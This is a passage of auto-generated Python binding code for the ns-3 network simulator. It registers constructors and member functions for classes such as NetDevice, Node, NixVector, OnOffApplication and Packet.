## mac64-address.h (module 'network'): ns3::Mac64Address ns3::Mac64AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Mac64Address',
[],
is_const=True)
## mac64-address.h (module 'network'): std::string ns3::Mac64AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## mac64-address.h (module 'network'): void ns3::Mac64AddressValue::Set(ns3::Mac64Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Mac64Address const &', 'value')])
return
def register_Ns3MinMaxAvgTotalCalculator__Unsigned_int_methods(root_module, cls):
## basic-data-calculators.h (module 'stats'): ns3::MinMaxAvgTotalCalculator<unsigned int>::MinMaxAvgTotalCalculator(ns3::MinMaxAvgTotalCalculator<unsigned int> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::MinMaxAvgTotalCalculator< unsigned int > const &', 'arg0')])
## basic-data-calculators.h (module 'stats'): ns3::MinMaxAvgTotalCalculator<unsigned int>::MinMaxAvgTotalCalculator() [constructor]
cls.add_constructor([])
## basic-data-calculators.h (module 'stats'): static ns3::TypeId ns3::MinMaxAvgTotalCalculator<unsigned int>::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## basic-data-calculators.h (module 'stats'): void ns3::MinMaxAvgTotalCalculator<unsigned int>::Output(ns3::DataOutputCallback & callback) const [member function]
cls.add_method('Output',
'void',
[param('ns3::DataOutputCallback &', 'callback')],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): void ns3::MinMaxAvgTotalCalculator<unsigned int>::Reset() [member function]
cls.add_method('Reset',
'void',
[])
## basic-data-calculators.h (module 'stats'): void ns3::MinMaxAvgTotalCalculator<unsigned int>::Update(unsigned int const i) [member function]
cls.add_method('Update',
'void',
[param('unsigned int const', 'i')])
## basic-data-calculators.h (module 'stats'): long int ns3::MinMaxAvgTotalCalculator<unsigned int>::getCount() const [member function]
cls.add_method('getCount',
'long int',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getMax() const [member function]
cls.add_method('getMax',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getMean() const [member function]
cls.add_method('getMean',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getMin() const [member function]
cls.add_method('getMin',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getSqrSum() const [member function]
cls.add_method('getSqrSum',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getStddev() const [member function]
cls.add_method('getStddev',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getSum() const [member function]
cls.add_method('getSum',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): double ns3::MinMaxAvgTotalCalculator<unsigned int>::getVariance() const [member function]
cls.add_method('getVariance',
'double',
[],
is_const=True, is_virtual=True)
## basic-data-calculators.h (module 'stats'): void ns3::MinMaxAvgTotalCalculator<unsigned int>::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3NetDevice_methods(root_module, cls):
## net-device.h (module 'network'): ns3::NetDevice::NetDevice() [constructor]
cls.add_constructor([])
## net-device.h (module 'network'): ns3::NetDevice::NetDevice(ns3::NetDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDevice const &', 'arg0')])
## net-device.h (module 'network'): void ns3::NetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('AddLinkChangeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Address',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Ptr<ns3::Channel> ns3::NetDevice::GetChannel() const [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): uint32_t ns3::NetDevice::GetIfIndex() const [member function]
cls.add_method('GetIfIndex',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): uint16_t ns3::NetDevice::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint16_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv4Address', 'multicastGroup')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv6Address', 'addr')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NetDevice::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): static ns3::TypeId ns3::NetDevice::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsBridge() const [member function]
cls.add_method('IsBridge',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsLinkUp() const [member function]
cls.add_method('IsLinkUp',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsPointToPoint() const [member function]
cls.add_method('IsPointToPoint',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::NeedsArp() const [member function]
cls.add_method('NeedsArp',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('Send',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('SendFrom',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetAddress(ns3::Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'address')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetIfIndex(uint32_t const index) [member function]
cls.add_method('SetIfIndex',
'void',
[param('uint32_t const', 'index')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SetMtu(uint16_t const mtu) [member function]
cls.add_method('SetMtu',
'bool',
[param('uint16_t const', 'mtu')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetPromiscReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SupportsSendFrom() const [member function]
cls.add_method('SupportsSendFrom',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3NetDeviceQueue_methods(root_module, cls):
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueue::NetDeviceQueue(ns3::NetDeviceQueue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDeviceQueue const &', 'arg0')])
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueue::NetDeviceQueue() [constructor]
cls.add_constructor([])
## net-device-queue-interface.h (module 'network'): ns3::Ptr<ns3::QueueLimits> ns3::NetDeviceQueue::GetQueueLimits() [member function]
cls.add_method('GetQueueLimits',
'ns3::Ptr< ns3::QueueLimits >',
[])
## net-device-queue-interface.h (module 'network'): bool ns3::NetDeviceQueue::IsStopped() const [member function]
cls.add_method('IsStopped',
'bool',
[],
is_const=True)
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::NotifyQueuedBytes(uint32_t bytes) [member function]
cls.add_method('NotifyQueuedBytes',
'void',
[param('uint32_t', 'bytes')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::NotifyTransmittedBytes(uint32_t bytes) [member function]
cls.add_method('NotifyTransmittedBytes',
'void',
[param('uint32_t', 'bytes')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::ResetQueueLimits() [member function]
cls.add_method('ResetQueueLimits',
'void',
[])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::SetQueueLimits(ns3::Ptr<ns3::QueueLimits> ql) [member function]
cls.add_method('SetQueueLimits',
'void',
[param('ns3::Ptr< ns3::QueueLimits >', 'ql')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::SetWakeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetWakeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::Start() [member function]
cls.add_method('Start',
'void',
[],
is_virtual=True)
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::Stop() [member function]
cls.add_method('Stop',
'void',
[],
is_virtual=True)
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueue::Wake() [member function]
cls.add_method('Wake',
'void',
[],
is_virtual=True)
return
def register_Ns3NetDeviceQueueInterface_methods(root_module, cls):
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueueInterface::NetDeviceQueueInterface(ns3::NetDeviceQueueInterface const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDeviceQueueInterface const &', 'arg0')])
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueueInterface::NetDeviceQueueInterface() [constructor]
cls.add_constructor([])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueueInterface::CreateTxQueues() [member function]
cls.add_method('CreateTxQueues',
'void',
[])
## net-device-queue-interface.h (module 'network'): bool ns3::NetDeviceQueueInterface::GetLateTxQueuesCreation() const [member function]
cls.add_method('GetLateTxQueuesCreation',
'bool',
[],
is_const=True)
## net-device-queue-interface.h (module 'network'): uint8_t ns3::NetDeviceQueueInterface::GetNTxQueues() const [member function]
cls.add_method('GetNTxQueues',
'uint8_t',
[],
is_const=True)
## net-device-queue-interface.h (module 'network'): ns3::Callback<unsigned char, ns3::Ptr<ns3::QueueItem>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::NetDeviceQueueInterface::GetSelectQueueCallback() const [member function]
cls.add_method('GetSelectQueueCallback',
'ns3::Callback< unsigned char, ns3::Ptr< ns3::QueueItem >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True)
## net-device-queue-interface.h (module 'network'): ns3::Ptr<ns3::NetDeviceQueue> ns3::NetDeviceQueueInterface::GetTxQueue(uint8_t i) const [member function]
cls.add_method('GetTxQueue',
'ns3::Ptr< ns3::NetDeviceQueue >',
[param('uint8_t', 'i')],
is_const=True)
## net-device-queue-interface.h (module 'network'): static ns3::TypeId ns3::NetDeviceQueueInterface::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueueInterface::SetLateTxQueuesCreation(bool value) [member function]
cls.add_method('SetLateTxQueuesCreation',
'void',
[param('bool', 'value')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueueInterface::SetSelectQueueCallback(ns3::Callback<unsigned char, ns3::Ptr<ns3::QueueItem>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetSelectQueueCallback',
'void',
[param('ns3::Callback< unsigned char, ns3::Ptr< ns3::QueueItem >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueueInterface::SetTxQueuesN(uint8_t numTxQueues) [member function]
cls.add_method('SetTxQueuesN',
'void',
[param('uint8_t', 'numTxQueues')])
## net-device-queue-interface.h (module 'network'): void ns3::NetDeviceQueueInterface::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3NixVector_methods(root_module, cls):
cls.add_output_stream_operator()
## nix-vector.h (module 'network'): ns3::NixVector::NixVector() [constructor]
cls.add_constructor([])
## nix-vector.h (module 'network'): ns3::NixVector::NixVector(ns3::NixVector const & o) [copy constructor]
cls.add_constructor([param('ns3::NixVector const &', 'o')])
## nix-vector.h (module 'network'): void ns3::NixVector::AddNeighborIndex(uint32_t newBits, uint32_t numberOfBits) [member function]
cls.add_method('AddNeighborIndex',
'void',
[param('uint32_t', 'newBits'), param('uint32_t', 'numberOfBits')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::BitCount(uint32_t numberOfNeighbors) const [member function]
cls.add_method('BitCount',
'uint32_t',
[param('uint32_t', 'numberOfNeighbors')],
is_const=True)
## nix-vector.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::NixVector::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::NixVector >',
[],
is_const=True)
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Deserialize(uint32_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint32_t const *', 'buffer'), param('uint32_t', 'size')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::ExtractNeighborIndex(uint32_t numberOfBits) [member function]
cls.add_method('ExtractNeighborIndex',
'uint32_t',
[param('uint32_t', 'numberOfBits')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetRemainingBits() [member function]
cls.add_method('GetRemainingBits',
'uint32_t',
[])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Serialize(uint32_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint32_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3Node_methods(root_module, cls):
## node.h (module 'network'): ns3::Node::Node(ns3::Node const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Node const &', 'arg0')])
## node.h (module 'network'): ns3::Node::Node() [constructor]
cls.add_constructor([])
## node.h (module 'network'): ns3::Node::Node(uint32_t systemId) [constructor]
cls.add_constructor([param('uint32_t', 'systemId')])
## node.h (module 'network'): uint32_t ns3::Node::AddApplication(ns3::Ptr<ns3::Application> application) [member function]
cls.add_method('AddApplication',
'uint32_t',
[param('ns3::Ptr< ns3::Application >', 'application')])
## node.h (module 'network'): uint32_t ns3::Node::AddDevice(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddDevice',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## node.h (module 'network'): static bool ns3::Node::ChecksumEnabled() [member function]
cls.add_method('ChecksumEnabled',
'bool',
[],
is_static=True)
## node.h (module 'network'): ns3::Ptr<ns3::Application> ns3::Node::GetApplication(uint32_t index) const [member function]
cls.add_method('GetApplication',
'ns3::Ptr< ns3::Application >',
[param('uint32_t', 'index')],
is_const=True)
## node.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Node::GetDevice(uint32_t index) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'index')],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetId() const [member function]
cls.add_method('GetId',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): ns3::Time ns3::Node::GetLocalTime() const [member function]
cls.add_method('GetLocalTime',
'ns3::Time',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetNApplications() const [member function]
cls.add_method('GetNApplications',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetSystemId() const [member function]
cls.add_method('GetSystemId',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): static ns3::TypeId ns3::Node::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## node.h (module 'network'): void ns3::Node::RegisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function]
cls.add_method('RegisterDeviceAdditionListener',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')])
## node.h (module 'network'): void ns3::Node::RegisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler, uint16_t protocolType, ns3::Ptr<ns3::NetDevice> device, bool promiscuous=false) [member function]
cls.add_method('RegisterProtocolHandler',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler'), param('uint16_t', 'protocolType'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'promiscuous', default_value='false')])
## node.h (module 'network'): void ns3::Node::UnregisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function]
cls.add_method('UnregisterDeviceAdditionListener',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')])
## node.h (module 'network'): void ns3::Node::UnregisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler) [member function]
cls.add_method('UnregisterProtocolHandler',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler')])
## node.h (module 'network'): void ns3::Node::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## node.h (module 'network'): void ns3::Node::DoInitialize() [member function]
cls.add_method('DoInitialize',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3NormalRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): ns3::NormalRandomVariable::INFINITE_VALUE [variable]
cls.add_static_attribute('INFINITE_VALUE', 'double const', is_const=True)
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::NormalRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::NormalRandomVariable::NormalRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::NormalRandomVariable::GetMean() const [member function]
cls.add_method('GetMean',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::NormalRandomVariable::GetVariance() const [member function]
cls.add_method('GetVariance',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::NormalRandomVariable::GetBound() const [member function]
cls.add_method('GetBound',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::NormalRandomVariable::GetValue(double mean, double variance, double bound=ns3::NormalRandomVariable::INFINITE_VALUE) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'mean'), param('double', 'variance'), param('double', 'bound', default_value='ns3::NormalRandomVariable::INFINITE_VALUE')])
## random-variable-stream.h (module 'core'): uint32_t ns3::NormalRandomVariable::GetInteger(uint32_t mean, uint32_t variance, uint32_t bound) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'mean'), param('uint32_t', 'variance'), param('uint32_t', 'bound')])
## random-variable-stream.h (module 'core'): double ns3::NormalRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::NormalRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3ObjectFactoryChecker_methods(root_module, cls):
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker(ns3::ObjectFactoryChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactoryChecker const &', 'arg0')])
return
def register_Ns3ObjectFactoryValue_methods(root_module, cls):
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactoryValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactoryValue const &', 'arg0')])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactory const & value) [constructor]
cls.add_constructor([param('ns3::ObjectFactory const &', 'value')])
## object-factory.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::ObjectFactoryValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## object-factory.h (module 'core'): bool ns3::ObjectFactoryValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## object-factory.h (module 'core'): ns3::ObjectFactory ns3::ObjectFactoryValue::Get() const [member function]
cls.add_method('Get',
'ns3::ObjectFactory',
[],
is_const=True)
## object-factory.h (module 'core'): std::string ns3::ObjectFactoryValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## object-factory.h (module 'core'): void ns3::ObjectFactoryValue::Set(ns3::ObjectFactory const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::ObjectFactory const &', 'value')])
return
def register_Ns3OnOffApplication_methods(root_module, cls):
## onoff-application.h (module 'applications'): ns3::OnOffApplication::OnOffApplication(ns3::OnOffApplication const & arg0) [copy constructor]
cls.add_constructor([param('ns3::OnOffApplication const &', 'arg0')])
## onoff-application.h (module 'applications'): ns3::OnOffApplication::OnOffApplication() [constructor]
cls.add_constructor([])
## onoff-application.h (module 'applications'): int64_t ns3::OnOffApplication::AssignStreams(int64_t stream) [member function]
cls.add_method('AssignStreams',
'int64_t',
[param('int64_t', 'stream')])
## onoff-application.h (module 'applications'): ns3::Ptr<ns3::Socket> ns3::OnOffApplication::GetSocket() const [member function]
cls.add_method('GetSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_const=True)
## onoff-application.h (module 'applications'): static ns3::TypeId ns3::OnOffApplication::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## onoff-application.h (module 'applications'): void ns3::OnOffApplication::SetMaxBytes(uint64_t maxBytes) [member function]
cls.add_method('SetMaxBytes',
'void',
[param('uint64_t', 'maxBytes')])
## onoff-application.h (module 'applications'): void ns3::OnOffApplication::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## onoff-application.h (module 'applications'): void ns3::OnOffApplication::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## onoff-application.h (module 'applications'): void ns3::OnOffApplication::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3OutputStreamWrapper_methods(root_module, cls):
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(ns3::OutputStreamWrapper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::OutputStreamWrapper const &', 'arg0')])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::string filename, std::_Ios_Openmode filemode) [constructor]
cls.add_constructor([param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode')])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::ostream * os) [constructor]
cls.add_constructor([param('std::ostream *', 'os')])
## output-stream-wrapper.h (module 'network'): std::ostream * ns3::OutputStreamWrapper::GetStream() [member function]
cls.add_method('GetStream',
'std::ostream *',
[])
return
def register_Ns3Packet_methods(root_module, cls):
cls.add_output_stream_operator()
## packet.h (module 'network'): ns3::Packet::Packet() [constructor]
cls.add_constructor([])
## packet.h (module 'network'): ns3::Packet::Packet(ns3::Packet const & o) [copy constructor]
cls.add_constructor([param('ns3::Packet const &', 'o')])
## packet.h (module 'network'): ns3::Packet::Packet(uint32_t size) [constructor]
cls.add_constructor([param('uint32_t', 'size')])
## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size, bool magic) [constructor]
cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size'), param('bool', 'magic')])
## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size) [constructor]
cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::AddAtEnd(ns3::Ptr<ns3::Packet const> packet) [member function]
